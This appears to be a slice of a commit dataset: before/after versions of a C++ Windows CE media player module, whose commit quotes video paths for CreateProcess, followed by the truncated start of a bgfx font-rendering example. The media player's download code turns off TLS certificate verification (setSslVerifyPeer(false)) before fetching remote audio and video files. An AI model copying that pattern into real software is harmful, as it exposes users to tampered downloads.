String(\"download.wav\");\n\n\t\t\t\t\/\/ Call the download function with the url and new filename the temp filename to be used.\n\t\t\t\tnet::CNetRequestHolder *requestHolder = new net::CNetRequestHolder();\n\t\t\t\trequestHolder->setSslVerifyPeer(false);\n\t\t\t\tNetResponse resp = getNetRequest(requestHolder).pullFile( filename, newfilename, null, &mapHeaders,overwriteFile,createFolders,&fileExists);\n\n\t\t\t\tdelete requestHolder;\n\n\t\t\t\tif (!resp.isOK())\n\t\t\t\t{\n\t\t\t\t\tLOG(INFO) + __FUNCTION__ + \"Could not download the file\";\n\t\t\t\t\treturn; \/\/ Don't attempt to play the file.\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tLOG(INFO) + __FUNCTION__ + \"Could download the file\";\n\t\t\t\t\tlFilename = s2ws(newfilename);\n\t\t\t\t}\t\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t\/\/ Store the local filename away.\n\t\t\t\tlFilename = s2ws(filename);\n\t\t\t}\n\n\t\t\t\/\/ Launch the audio player.\n\t\t\tplayLocalAudio();\n\t\t}\n\t}\n\n\t\/\/ Stop playing an audio file.\n virtual void stop(rho::apiGenerator::CMethodResult& oResult)\n\t{\n\t\t\/\/ If the player is currently playing an audio file, stop it.\n\t\tPlaySound(NULL, NULL, 0);\n\t\tLOG(INFO) + __FUNCTION__ + \" Stopping audio playback\";\n\t\tif (WaitForSingleObject(m_hPlayThread, 500) == WAIT_TIMEOUT)\n\t\t{\n\t\t\tTerminateThread(m_hPlayThread, -1);\n\t\t\tCloseHandle(m_hPlayThread);\n\t\t\tm_hPlayThread = NULL;\n\t\t}\n\t}\n\n\t\/\/ Start playing a video file.\n virtual void startvideo( const rho::String& filename, rho::apiGenerator::CMethodResult& oResult)\n\t{\n\t\t\/\/ Attempt to kill the player. If we don't do this, WMP holds a lock on the file and we cannot delete it.\n\t\tKillPlayer();\n\t\trho::common::CRhoFile::deleteFile(\"download.wmv\");\n\n\t\t\/\/ Check that the filename is not empty or NULL.\n\t\tif (!filename.empty() && (!m_hPlayProcess))\n\t\t{\n\t\t\tPROCESS_INFORMATION pi;\n\t\t\tStringW m_lpzFilename;\n\n\t\t\tif (String_startsWith(filename, \"http:\/\/\") || String_startsWith(filename, \"https:\/\/\"))\n\t\t\t{\n\t\t\t\t\/\/ Networked code\n\t\t\t\tLOG(INFO) + __FUNCTION__ + \"Attempting to download the file. \" + filename;\n\t\t\t\tNetRequest oNetRequest;\n\t\t\t\tHashtable<String,String> mapHeaders;\n\t\t\t\tbool overwriteFile = true;\n\t\t\t\tbool createFolders = false;\n\t\t\t\tbool fileExists = false;\n\t\t\t\tString& newfilename = String(\"download.wmv\");\n\n\t\t\t\t\/\/ Call the download function with the url and new filename the temp filename to be used.\n\t\t\t\tnet::CNetRequestHolder *requestHolder = new net::CNetRequestHolder();\n\t\t\t\trequestHolder->setSslVerifyPeer(false);\n\n\t\t\t\tNetResponse resp = getNetRequest(requestHolder).pullFile( filename, newfilename, null, &mapHeaders,overwriteFile,createFolders,&fileExists);\n\n\t\t\t\tdelete requestHolder;\n\n\t\t\t\tif (!resp.isOK())\n\t\t\t\t{\n\t\t\t\t\tLOG(INFO) + __FUNCTION__ + \"Could not download the file\";\n\t\t\t\t\treturn; \/\/ Don't attempt to play the file.\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tLOG(INFO) + __FUNCTION__ + \"Could download the file\";\n\t\t\t\t\tm_lpzFilename = s2ws(newfilename);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t\/\/ Local file, just change the name to a format the WM\/CE understands.\n\t\t\t\tm_lpzFilename = s2ws(filename);\n\t\t\t}\n\n\t\t\t\/\/ Launch the video player.\n\t\t\tif (!CreateProcess(L\"\\\\windows\\\\WMPlayer.exe\", m_lpzFilename.c_str(), NULL, NULL, FALSE, 0, NULL, NULL, NULL, &pi))\n\t\t\t{\n\t\t\t\t\/\/ for WinCE CEPlayer we need to set a registry key to make sure it launches full screen\n\t\t\t\tHKEY hKey = 0;\n\t\t\t\tLPCWSTR subkey = L\"SOFTWARE\\\\Microsoft\\\\CEPlayer\";\n\n\t\t\t\tif( RegOpenKeyEx(HKEY_LOCAL_MACHINE,subkey,0,0,&hKey) == ERROR_SUCCESS)\n\t\t\t\t{\n\t\t\t\t\tDWORD dwType = REG_DWORD;\n\t\t\t\t\tDWORD dwData = 1; \/\/ Set AlwaysFullSize to 1\n\t\t\t\t\tRegSetValueEx(hKey, L\"AlwaysFullSize\", 0, dwType, (BYTE*)&dwData, sizeof(dwData));\n\t\t\t\t\tRegCloseKey(hKey);\n\t\t\t\t}\n\n\t\t\t\tif (!CreateProcess(L\"\\\\windows\\\\CEPlayer.exe\", m_lpzFilename.c_str(), NULL, NULL, FALSE, 0, NULL, NULL, NULL, &pi))\n\t\t\t\t{\n\t\t\t\t\t\/\/ if CEPlayer doesn't exist either, try VPlayer\n\t\t\t\t\tif (!CreateProcess(L\"\\\\windows\\\\VPlayer.exe\", m_lpzFilename.c_str(), NULL, NULL, FALSE, 0, NULL, NULL, NULL, &pi))\n\t\t\t\t\t{\n\t\t\t\t\t\tLOG(INFO) + __FUNCTION__ + \"Error launching MediaPlayer\";\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tm_hPlayProcess = pi.hProcess;\n\t\t\t\tm_hPlayThread = pi.hThread;\n\t\t\t}\n\n\t\t\tm_hPlayProcess = pi.hProcess;\n\t\t\tm_hPlayThread = pi.hThread;\n\t\t}\n\t}\n\n\t\/\/ Stop playing a video file.\n virtual void stopvideo(rho::apiGenerator::CMethodResult& oResult)\n\t{\n\t\t\/\/ If the player is currently playing a video file, stop it.\n\t\tTerminateProcess(m_hPlayProcess, -1);\n\t\tWaitForSingleObject(m_hPlayProcess, 500);\n\t\tCloseHandle(m_hPlayThread);\n\t\tm_hPlayThread = NULL;\n\t\tCloseHandle(m_hPlayProcess);\n\t\tm_hPlayProcess = NULL;\n\t\tLOG(INFO) + __FUNCTION__ + \" stopping video player.\";\n\t}\n\n virtual void getAllRingtones(rho::apiGenerator::CMethodResult& oResult)\n\t{\n\t\t\/\/ Not implemented in CE\n\t}\n\n virtual void playRingTone( const rho::String& name, rho::apiGenerator::CMethodResult& oResult)\n\t{\n\t\t\/\/ Not implemented in CE\n\t}\n\n virtual void stopRingTone(rho::apiGenerator::CMethodResult& oResult)\n\t{\n\t\t\/\/ Not implemented in CE\n\t}\n};\n\nStringW CMediaplayerSingleton::lFilename;\n\nHANDLE CMediaplayerSingleton::m_hPlayThread = NULL;\nHANDLE CMediaplayerSingleton::m_hPlayProcess = NULL;\n\nclass CMediaplayerFactory: public CMediaplayerFactoryBase\n{\n ~CMediaplayerFactory(){}\n virtual IMediaplayerSingleton* createModuleSingleton();\n virtual IMediaplayer* createModuleByID(const rho::String& strID);\n};\n\nextern \"C\" void Init_Mediaplayer_extension()\n{\n CMediaplayerFactory::setInstance( new CMediaplayerFactory() );\n Init_Mediaplayer_API();\n}\n\nIMediaplayer* CMediaplayerFactory::createModuleByID(const rho::String& strID)\n{\n return new CMediaplayerImpl(strID);\n}\n\nIMediaplayerSingleton* CMediaplayerFactory::createModuleSingleton()\n{\n return new CMediaplayerSingleton();\n}\n\nvoid CMediaplayerSingleton::enumerate(CMethodResult& oResult)\n{\n rho::Vector<rho::String> arIDs;\n arIDs.addElement(\"SC1\");\n arIDs.addElement(\"SC2\");\n\n oResult.set(arIDs);\n}\n\nrho::String CMediaplayerSingleton::getInitialDefaultID()\n{\n CMethodResult oRes;\n enumerate(oRes);\n\n rho::Vector<rho::String>& arIDs = oRes.getStringArray();\n \n return arIDs[0];\n}\n\n}<commit_msg>\/****************************************\/ \/* \tSR ID - EMBPD00128123 \tIssue Description - Video Files are not getting played in MediaPlayer with Native Application on WM \tFix Provided - Issue was reproducing because of CreateProcess Microsoft API which donot understand the path which consists of space. \t\t Hence we need to put an extra double inverted at the front & at the end of the string. \tDeveloper Name - Abhineet Agarwal \tFile Name - Mediaplayer_impl.cpp \tFunction Name - startvideo \tDate - 09\/06\/2014 *\/ \/****************************************\/<commit_after>#include \"..\/..\/..\/shared\/generated\/cpp\/MediaplayerBase.h\"\n#include \"net\/INetRequest.h\"\n#include \"RhoFile.h\"\n\nnamespace rho {\n\nusing namespace apiGenerator;\n\nstd::wstring s2ws(const std::string& s)\n{\n int len;\n int slength = (int)s.length() + 1;\n len = MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, 0, 0); \n wchar_t* buf = new wchar_t[len];\n MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, buf, len);\n std::wstring r(buf);\n delete[] buf;\n return r;\n}\n\nclass CMediaplayerImpl: public CMediaplayerBase\n{\npublic:\n CMediaplayerImpl(const rho::String& strID): CMediaplayerBase()\n {\n }\n};\n\nclass CMediaplayerSingleton: public CMediaplayerSingletonBase\n{\n\n\tstatic HANDLE\tm_hPlayThread;\t\t\t\/\/\/ Handle to player thread\n\tstatic HANDLE\tm_hPlayProcess;\t\t\t\/\/\/ Handle to player process\n\tstatic StringW lFilename;\n\n ~CMediaplayerSingleton(){}\n virtual rho::String getInitialDefaultID();\n virtual void enumerate(CMethodResult& oResult);\n\n\t\/**\n\t* Function to kill the player thread so that VideoCapture can unlock\n\t* any in-use media files\n\t*\/\n\tvoid KillPlayer()\n\t{\n\t\tif (m_hPlayProcess)\n\t\t{\n\t\t\tTerminateProcess(m_hPlayProcess, -1);\n\t\t\tWaitForSingleObject(m_hPlayProcess, 500);\n\t\t\tCloseHandle(m_hPlayProcess);\n\t\t\tm_hPlayProcess = NULL;\n\t\t}\n\t\tif (m_hPlayThread)\n\t\t{\n\t\t\tTerminateThread(m_hPlayThread, -1);\n\t\t\tCloseHandle(m_hPlayThread);\n\t\t\tm_hPlayThread = NULL;\n\t\t}\n\t}\n\n\tbool playLocalAudio()\n\t{\n\t\tLOG(INFO) + __FUNCTION__ + \": playLocalAudio called\";\n\t\tm_hPlayThread = CreateThread(NULL, 0, (&rho::CMediaplayerSingleton::playThreadProc), this, 0, NULL);\n\t\treturn (m_hPlayThread != NULL);\n\t}\n\n\tstatic DWORD WINAPI playThreadProc(LPVOID lpParam)\n\t{\n\t\tDWORD dwRet = S_OK;\n\n\t\tCMediaplayerSingleton *pMediaplayer = (CMediaplayerSingleton *)lpParam;\n\n\t\tif (pMediaplayer)\n\t\t{\n\t\t\tLOG(INFO) + __FUNCTION__ + \"pMediaplayer object exists: using lFilename: \" + lFilename.c_str(); \n\t\t\tif (!PlaySound(lFilename.c_str(), NULL, SND_FILENAME|SND_SYNC|SND_NODEFAULT)) {\n\t\t\t\tLOG(INFO) + __FUNCTION__ + \" PlaySound function failed \";\n\t\t\t\tdwRet = false;\n\t\t\t}\n\n\t\t\tCloseHandle(pMediaplayer->m_hPlayThread);\n\t\t\tpMediaplayer->m_hPlayThread = NULL;\n\t\t}\n\n\t\treturn dwRet;\n\t}\n\t\n\t\/\/ Play an audio file.\n\tvirtual void start( const rho::String& filename, rho::apiGenerator::CMethodResult& oResult)\n\t{\n\t\t\/\/ Check that the filename is not empty or NULL.\n\t\tif (!filename.empty() && (!m_hPlayThread))\n\t\t{\n\t\t\t\/\/ Download the audio file and store name in lFilename\n\t\t\tif(String_startsWith(filename, \"http:\/\/\") || String_startsWith(filename, \"https:\/\/\"))\n\t\t\t{\n\t\t\t\trho::common::CRhoFile::deleteFile(\"download.wav\");\n\t\t\t\t\/\/ Networked code\n\t\t\t\tLOG(INFO) + __FUNCTION__ + \"Attempting to download the file. \" + filename;\n\t\t\t\tNetRequest oNetRequest;\n\t\t\t\tHashtable<String,String> mapHeaders;\n\t\t\t\tbool overwriteFile = true;\n\t\t\t\tbool createFolders = false;\n\t\t\t\tbool fileExists = false;\n\t\t\t\tString& newfilename = String(\"download.wav\");\n\n\t\t\t\t\/\/ Call the download function with the url and new filename the temp filename to be used.\n\t\t\t\tnet::CNetRequestHolder *requestHolder = new net::CNetRequestHolder();\n\t\t\t\trequestHolder->setSslVerifyPeer(false);\n\t\t\t\tNetResponse resp = getNetRequest(requestHolder).pullFile( filename, newfilename, null, &mapHeaders,overwriteFile,createFolders,&fileExists);\n\n\t\t\t\tdelete requestHolder;\n\n\t\t\t\tif (!resp.isOK())\n\t\t\t\t{\n\t\t\t\t\tLOG(INFO) + __FUNCTION__ + \"Could not download the file\";\n\t\t\t\t\treturn; \/\/ Don't attempt to play the file.\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tLOG(INFO) + __FUNCTION__ + \"Could download the file\";\n\t\t\t\t\tlFilename = s2ws(newfilename);\n\t\t\t\t}\t\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t\/\/ Store the local filename away.\n\t\t\t\tlFilename = s2ws(filename);\n\t\t\t}\n\n\t\t\t\/\/ Launch the audio player.\n\t\t\tplayLocalAudio();\n\t\t}\n\t}\n\n\t\/\/ Stop playing an audio file.\n virtual void stop(rho::apiGenerator::CMethodResult& oResult)\n\t{\n\t\t\/\/ If the player is currently playing an audio file, stop it.\n\t\tPlaySound(NULL, NULL, 0);\n\t\tLOG(INFO) + __FUNCTION__ + \" Stopping audio playback\";\n\t\tif (WaitForSingleObject(m_hPlayThread, 500) == WAIT_TIMEOUT)\n\t\t{\n\t\t\tTerminateThread(m_hPlayThread, -1);\n\t\t\tCloseHandle(m_hPlayThread);\n\t\t\tm_hPlayThread = NULL;\n\t\t}\n\t}\n\n\t\/\/ Start playing a video file.\n virtual void startvideo( const rho::String& filename, rho::apiGenerator::CMethodResult& oResult)\n\t{\n\t\t\/\/ Attempt to kill the player. If we don't do this, WMP holds a lock on the file and we cannot delete it.\n\t\tKillPlayer();\n\t\trho::common::CRhoFile::deleteFile(\"download.wmv\");\n\n\t\t\/\/ Check that the filename is not empty or NULL.\n\t\tif (!filename.empty() && (!m_hPlayProcess))\n\t\t{\n\t\t\tPROCESS_INFORMATION pi;\n\t\t\tStringW m_lpzFilename;\n\n\t\t\tif (String_startsWith(filename, \"http:\/\/\") || String_startsWith(filename, \"https:\/\/\"))\n\t\t\t{\n\t\t\t\t\/\/ Networked code\n\t\t\t\tLOG(INFO) + __FUNCTION__ + \"Attempting to download the file. \" + filename;\n\t\t\t\tNetRequest oNetRequest;\n\t\t\t\tHashtable<String,String> mapHeaders;\n\t\t\t\tbool overwriteFile = true;\n\t\t\t\tbool createFolders = false;\n\t\t\t\tbool fileExists = false;\n\t\t\t\tString& newfilename = String(\"download.wmv\");\n\n\t\t\t\t\/\/ Call the download function with the url and new filename the temp filename to be used.\n\t\t\t\tnet::CNetRequestHolder *requestHolder = new net::CNetRequestHolder();\n\t\t\t\trequestHolder->setSslVerifyPeer(false);\n\n\t\t\t\tNetResponse resp = getNetRequest(requestHolder).pullFile( filename, newfilename, null, &mapHeaders,overwriteFile,createFolders,&fileExists);\n\n\t\t\t\tdelete requestHolder;\n\n\t\t\t\tif (!resp.isOK())\n\t\t\t\t{\n\t\t\t\t\tLOG(INFO) + __FUNCTION__ + \"Could not download the file\";\n\t\t\t\t\treturn; \/\/ Don't attempt to play the file.\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tLOG(INFO) + __FUNCTION__ + \"Could download the file\";\n\t\t\t\t\tm_lpzFilename = s2ws(newfilename);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t\/\/ Local file, just change the name to a format the WM\/CE understands.\n\t\t\t\tm_lpzFilename = s2ws(filename);\n\t\t\t}\n\t\t\t\n\t\t\t\/****************************************\/\n\t\t\t\/* \n\t\t\t\tSR ID - EMBPD00128123\n\t\t\t\tIssue Description - Video Files are not getting played in MediaPlayer with Native Application on WM\n\t\t\t\tFix Provided - Issue was reproducing because of CreateProcess Microsoft API which donot understand the path which consists of space.\n\t\t\t\t\t\t\t Hence we need to put an extra double inverted at the front & at the end of the string.\n\t\t\t\tDeveloper Name - Abhineet Agarwal\n\t\t\t\tFile Name - Mediaplayer_impl.cpp\n\t\t\t\tFunction Name - startvideo\n\t\t\t\tDate - 09\/06\/2014\n\t\t\t*\/\n\t\t\t\/****************************************\/\n\t\t\tm_lpzFilename = L\"\\\"\" + m_lpzFilename + L\"\\\"\"; \n\n\t\t\t\/\/ Launch the video player.\n\t\t\tif (!CreateProcess(L\"\\\\windows\\\\WMPlayer.exe\", m_lpzFilename.c_str(), NULL, NULL, FALSE, 0, NULL, NULL, NULL, &pi))\n\t\t\t{\n\t\t\t\t\/\/ for WinCE CEPlayer we need to set a registry key to make sure it launches full screen\n\t\t\t\tHKEY hKey = 0;\n\t\t\t\tLPCWSTR subkey = L\"SOFTWARE\\\\Microsoft\\\\CEPlayer\";\n\n\t\t\t\tif( RegOpenKeyEx(HKEY_LOCAL_MACHINE,subkey,0,0,&hKey) == ERROR_SUCCESS)\n\t\t\t\t{\n\t\t\t\t\tDWORD dwType = REG_DWORD;\n\t\t\t\t\tDWORD dwData = 1; \/\/ Set AlwaysFullSize to 1\n\t\t\t\t\tRegSetValueEx(hKey, L\"AlwaysFullSize\", 0, dwType, (BYTE*)&dwData, sizeof(dwData));\n\t\t\t\t\tRegCloseKey(hKey);\n\t\t\t\t}\n\n\t\t\t\tif (!CreateProcess(L\"\\\\windows\\\\CEPlayer.exe\", m_lpzFilename.c_str(), NULL, NULL, FALSE, 0, NULL, NULL, NULL, &pi))\n\t\t\t\t{\n\t\t\t\t\t\/\/ if CEPlayer doesn't exist either, try VPlayer\n\t\t\t\t\tif (!CreateProcess(L\"\\\\windows\\\\VPlayer.exe\", m_lpzFilename.c_str(), NULL, NULL, FALSE, 0, NULL, NULL, NULL, &pi))\n\t\t\t\t\t{\n\t\t\t\t\t\tLOG(INFO) + __FUNCTION__ + \"Error launching MediaPlayer\";\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tm_hPlayProcess = pi.hProcess;\n\t\t\t\tm_hPlayThread = pi.hThread;\n\t\t\t}\n\n\t\t\tm_hPlayProcess = pi.hProcess;\n\t\t\tm_hPlayThread = pi.hThread;\n\t\t}\n\t}\n\n\t\/\/ Stop playing a video file.\n virtual void stopvideo(rho::apiGenerator::CMethodResult& oResult)\n\t{\n\t\t\/\/ If the player is currently playing a video file, stop it.\n\t\tTerminateProcess(m_hPlayProcess, -1);\n\t\tWaitForSingleObject(m_hPlayProcess, 500);\n\t\tCloseHandle(m_hPlayThread);\n\t\tm_hPlayThread = NULL;\n\t\tCloseHandle(m_hPlayProcess);\n\t\tm_hPlayProcess = NULL;\n\t\tLOG(INFO) + __FUNCTION__ + \" stopping video player.\";\n\t}\n\n virtual void getAllRingtones(rho::apiGenerator::CMethodResult& oResult)\n\t{\n\t\t\/\/ Not implemented in CE\n\t}\n\n virtual void playRingTone( const rho::String& name, rho::apiGenerator::CMethodResult& oResult)\n\t{\n\t\t\/\/ Not implemented in CE\n\t}\n\n virtual void stopRingTone(rho::apiGenerator::CMethodResult& oResult)\n\t{\n\t\t\/\/ Not implemented in CE\n\t}\n};\n\nStringW CMediaplayerSingleton::lFilename;\n\nHANDLE CMediaplayerSingleton::m_hPlayThread = NULL;\nHANDLE CMediaplayerSingleton::m_hPlayProcess = NULL;\n\nclass CMediaplayerFactory: public CMediaplayerFactoryBase\n{\n ~CMediaplayerFactory(){}\n virtual IMediaplayerSingleton* createModuleSingleton();\n virtual IMediaplayer* createModuleByID(const rho::String& strID);\n};\n\nextern \"C\" void Init_Mediaplayer_extension()\n{\n CMediaplayerFactory::setInstance( new CMediaplayerFactory() );\n Init_Mediaplayer_API();\n}\n\nIMediaplayer* CMediaplayerFactory::createModuleByID(const rho::String& strID)\n{\n return new CMediaplayerImpl(strID);\n}\n\nIMediaplayerSingleton* CMediaplayerFactory::createModuleSingleton()\n{\n return new CMediaplayerSingleton();\n}\n\nvoid CMediaplayerSingleton::enumerate(CMethodResult& oResult)\n{\n rho::Vector<rho::String> arIDs;\n arIDs.addElement(\"SC1\");\n arIDs.addElement(\"SC2\");\n\n oResult.set(arIDs);\n}\n\nrho::String CMediaplayerSingleton::getInitialDefaultID()\n{\n CMethodResult oRes;\n enumerate(oRes);\n\n rho::Vector<rho::String>& arIDs = oRes.getStringArray();\n \n return arIDs[0];\n}\n\n}<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2013 Jeremie Roy. All rights reserved.\n * License: https:\/\/github.com\/bkaradzic\/bgfx#license-bsd-2-clause\n *\/\n\n#include \"common.h\"\n#include \"bgfx_utils.h\"\n\n#include <bx\/timer.h>\n#include <bx\/string.h>\n#include <bx\/math.h>\n\n#include \"font\/font_manager.h\"\n#include \"font\/text_buffer_manager.h\"\n#include \"entry\/input.h\"\n\n#include <iconfontheaders\/icons_font_awesome.h>\n#include <iconfontheaders\/icons_kenney.h>\n\n#include <wchar.h>\n\n#include \"imgui\/imgui.h\"\n\nnamespace\n{\n\nTrueTypeHandle loadTtf(FontManager* _fm, const char* _filePath)\n{\n\tuint32_t size;\n\tvoid* data = load(_filePath, &size);\n\n\tif (NULL != data)\n\t{\n\t\tTrueTypeHandle handle = _fm->createTtf( (uint8_t*)data, size);\n\t\tBX_FREE(entry::getAllocator(), data);\n\t\treturn handle;\n\t}\n\n\tTrueTypeHandle invalid = BGFX_INVALID_HANDLE;\n\treturn invalid;\n}\n\nstatic const char* s_fontFilePath[] =\n{\n\t\"font\/droidsans.ttf\",\n\t\"font\/chp-fire.ttf\",\n\t\"font\/bleeding_cowboys.ttf\",\n\t\"font\/mias_scribblings.ttf\",\n\t\"font\/ruritania.ttf\",\n\t\"font\/signika-regular.ttf\",\n\t\"font\/five_minutes.otf\",\n};\n\nclass ExampleFont : public entry::AppI\n{\npublic:\n\tExampleFont(const char* _name, const char* _description)\n\t\t: entry::AppI(_name, _description)\n\t{\n\t}\n\n\tvoid init(int32_t _argc, const char* const* _argv, uint32_t _width, uint32_t _height) override\n\t{\n\t\tArgs args(_argc, _argv);\n\n\t\tm_width = _width;\n\t\tm_height = _height;\n\t\tm_debug = BGFX_DEBUG_NONE;\n\t\tm_reset = BGFX_RESET_VSYNC;\n\n\t\tbgfx::init(args.m_type, args.m_pciId);\n\t\tbgfx::reset(m_width, m_height, m_reset);\n\n\t\t\/\/ Enable debug text.\n\t\tbgfx::setDebug(m_debug);\n\n\t\t\/\/ Set view 0 clear state.\n\t\tbgfx::setViewClear(0\n\t\t\t\t\t\t , BGFX_CLEAR_COLOR | BGFX_CLEAR_DEPTH\n\t\t\t\t\t\t , 0x303030ff\n\t\t\t\t\t\t , 1.0f\n\t\t\t\t\t\t , 0\n\t\t\t\t\t\t );\n\n\t\t\/\/ Init the text rendering system.\n\t\tm_fontManager = new FontManager(512);\n\t\tm_textBufferManager = new TextBufferManager(m_fontManager);\n\n\t\t\/\/ Load some TTF files.\n\t\tfor (uint32_t ii = 0; ii < numFonts; ++ii)\n\t\t{\n\t\t\t\/\/ Instantiate a usable font.\n\t\t\tm_fontFiles[ii] = loadTtf(m_fontManager, s_fontFilePath[ii]);\n\t\t\tm_fonts[ii] = m_fontManager->createFontByPixelSize(m_fontFiles[ii], 0, 32);\n\n\t\t\t\/\/ Preload glyphs and blit them to atlas.\n\t\t\tm_fontManager->preloadGlyph(m_fonts[ii], L\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. \\n\");\n\n\t\t\t\/\/ You can unload the truetype files at this stage, but in that\n\t\t\t\/\/ case, the set of glyph's will be limited to the set of preloaded\n\t\t\t\/\/ glyph.\n\t\t\tm_fontManager->destroyTtf(m_fontFiles[ii]);\n\t\t}\n\n\t\tm_fontAwesomeTtf = loadTtf(m_fontManager, \"font\/fontawesome-webfont.ttf\");\n\t\tm_fontKenneyTtf = loadTtf(m_fontManager, \"font\/kenney-icon-font.ttf\");\n\n\t\t\/\/ This font doesn't have any preloaded glyph's but the truetype file\n\t\t\/\/ is loaded so glyph will be generated as needed.\n\t\tm_fontAwesome72 = m_fontManager->createFontByPixelSize(m_fontAwesomeTtf, 0, 72);\n\t\tm_fontKenney64 = m_fontManager->createFontByPixelSize(m_fontKenneyTtf, 0, 64);\n\n\t\tm_visitorTtf = loadTtf(m_fontManager, \"font\/visitor1.ttf\");\n\n\t\t\/\/ This font doesn't have any preloaded glyph's but the truetype file\n\t\t\/\/ is loaded so glyph will be generated as needed.\n\t\tm_visitor10 = m_fontManager->createFontByPixelSize(m_visitorTtf, 0, 10);\n\n\t\t\/\/create a static text buffer compatible with alpha font\n\t\t\/\/a static text buffer content cannot be modified after its first submit.\n\t\tm_staticText = m_textBufferManager->createTextBuffer(FONT_TYPE_ALPHA, BufferType::Static);\n\n\t\t\/\/ The pen position represent the top left of the box of the first line\n\t\t\/\/ of text.\n\t\tm_textBufferManager->setPenPosition(m_staticText, 24.0f, 100.0f);\n\n\t\tfor (uint32_t ii = 0; ii < numFonts; ++ii)\n\t\t{\n\t\t\t\/\/ Add some text to the buffer.\n\t\t\t\/\/ The position of the pen is adjusted when there is an endline.\n\t\t\tm_textBufferManager->appendText(m_staticText, m_fonts[ii], L\"The quick brown fox jumps over the lazy dog\\n\");\n\t\t}\n\n\t\t\/\/ Now write some styled text.\n\n\t\t\/\/ Setup style colors.\n\t\tm_textBufferManager->setBackgroundColor(m_staticText, 0x551111ff);\n\t\tm_textBufferManager->setUnderlineColor(m_staticText, 0xff2222ff);\n\t\tm_textBufferManager->setOverlineColor(m_staticText, 0x2222ffff);\n\t\tm_textBufferManager->setStrikeThroughColor(m_staticText, 0x22ff22ff);\n\n\t\t\/\/ Background.\n\t\tm_textBufferManager->setStyle(m_staticText, STYLE_BACKGROUND);\n\t\tm_textBufferManager->appendText(m_staticText, m_fonts[0], L\"The quick \");\n\n\t\t\/\/ Strike-through.\n\t\tm_textBufferManager->setStyle(m_staticText, STYLE_STRIKE_THROUGH);\n\t\tm_textBufferManager->appendText(m_staticText, m_fonts[0], L\"brown fox \");\n\n\t\t\/\/ Overline.\n\t\tm_textBufferManager->setStyle(m_staticText, STYLE_OVERLINE);\n\t\tm_textBufferManager->appendText(m_staticText, m_fonts[0], L\"jumps over \");\n\n\t\t\/\/ Underline.\n\t\tm_textBufferManager->setStyle(m_staticText, STYLE_UNDERLINE);\n\t\tm_textBufferManager->appendText(m_staticText, m_fonts[0], L\"the lazy \");\n\n\t\t\/\/ Background + strike-through.\n\t\tm_textBufferManager->setStyle(m_staticText, STYLE_BACKGROUND | STYLE_STRIKE_THROUGH);\n\t\tm_textBufferManager->appendText(m_staticText, m_fonts[0], L\"dog\\n\");\n\n\t\tm_textBufferManager->setStyle(m_staticText, STYLE_NORMAL);\n\t\tm_textBufferManager->appendText(m_staticText, m_fontAwesome72,\n\t\t\t\" \" ICON_FA_POWER_OFF\n\t\t\t\" \" ICON_FA_TWITTER_SQUARE\n\t\t\t\" \" ICON_FA_CERTIFICATE\n\t\t\t\" \" ICON_FA_FLOPPY_O\n\t\t\t\" \" ICON_FA_GITHUB\n\t\t\t\" \" ICON_FA_GITHUB_ALT\n\t\t\t\"\\n\"\n\t\t\t);\n\t\tm_textBufferManager->appendText(m_staticText, m_fontKenney64,\n\t\t\t\" \" ICON_KI_COMPUTER\n\t\t\t\" \" ICON_KI_JOYSTICK\n\t\t\t\" \" ICON_KI_EXLAMATION\n\t\t\t\" \" ICON_KI_STAR\n\t\t\t\" \" ICON_KI_BUTTON_START\n\t\t\t\" \" ICON_KI_DOWNLOAD\n\t\t\t\"\\n\"\n\t\t\t);\n\n\t\t\/\/ Create a transient buffer for real-time data.\n\t\tm_transientText = m_textBufferManager->createTextBuffer(FONT_TYPE_ALPHA, BufferType::Transient);\n\n\t\timguiCreate();\n\t}\n\n\tvirtual int shutdown() override\n\t{\n\t\timguiDestroy();\n\n\t\tm_fontManager->destroyTtf(m_fontKenneyTtf);\n\t\tm_fontManager->destroyTtf(m_fontAwesomeTtf);\n\t\tm_fontManager->destroyTtf(m_visitorTtf);\n\n\t\t\/\/ Destroy the fonts.\n\t\tm_fontManager->destroyFont(m_fontKenney64);\n\t\tm_fontManager->destroyFont(m_fontAwesome72);\n\t\tm_fontManager->destroyFont(m_visitor10);\n\t\tfor (uint32_t ii = 0; ii < numFonts; ++ii)\n\t\t{\n\t\t\tm_fontManager->destroyFont(m_fonts[ii]);\n\t\t}\n\n\t\tm_textBufferManager->destroyTextBuffer(m_staticText);\n\t\tm_textBufferManager->destroyTextBuffer(m_transientText);\n\n\t\tdelete m_textBufferManager;\n\t\tdelete m_fontManager;\n\n\t\t\/\/ Shutdown bgfx.\n\t\tbgfx::shutdown();\n\n\t\treturn 0;\n\t}\n\n\tbool update() override\n\t{\n\t\tif (!entry::processEvents(m_width, m_height, m_debug, m_reset, &m_mouseState) )\n\t\t{\n\t\t\timguiBeginFrame(m_mouseState.m_mx\n\t\t\t\t, m_mouseState.m_my\n\t\t\t\t, (m_mouseState.m_buttons[entry::MouseButton::Left ] ? IMGUI_MBUT_LEFT : 0)\n\t\t\t\t| (m_mouseState.m_buttons[entry::MouseButton::Right ] ? IMGUI_MBUT_RIGHT : 0)\n\t\t\t\t| (m_mouseState.m_buttons[entry::MouseButton::Middle] ? IMGUI_MBUT_MIDDLE : 0)\n\t\t\t\t, m_mouseState.m_mz\n\t\t\t\t, uint16_t(m_width)\n\t\t\t\t, uint16_t(m_height)\n\t\t\t\t);\n\n\t\t\tshowExampleDialog(this);\n\n\t\t\timguiEndFrame();\n\n\t\t\t\/\/ This dummy draw call is here to make sure that view 0 is cleared\n\t\t\t\/\/ if no other draw calls 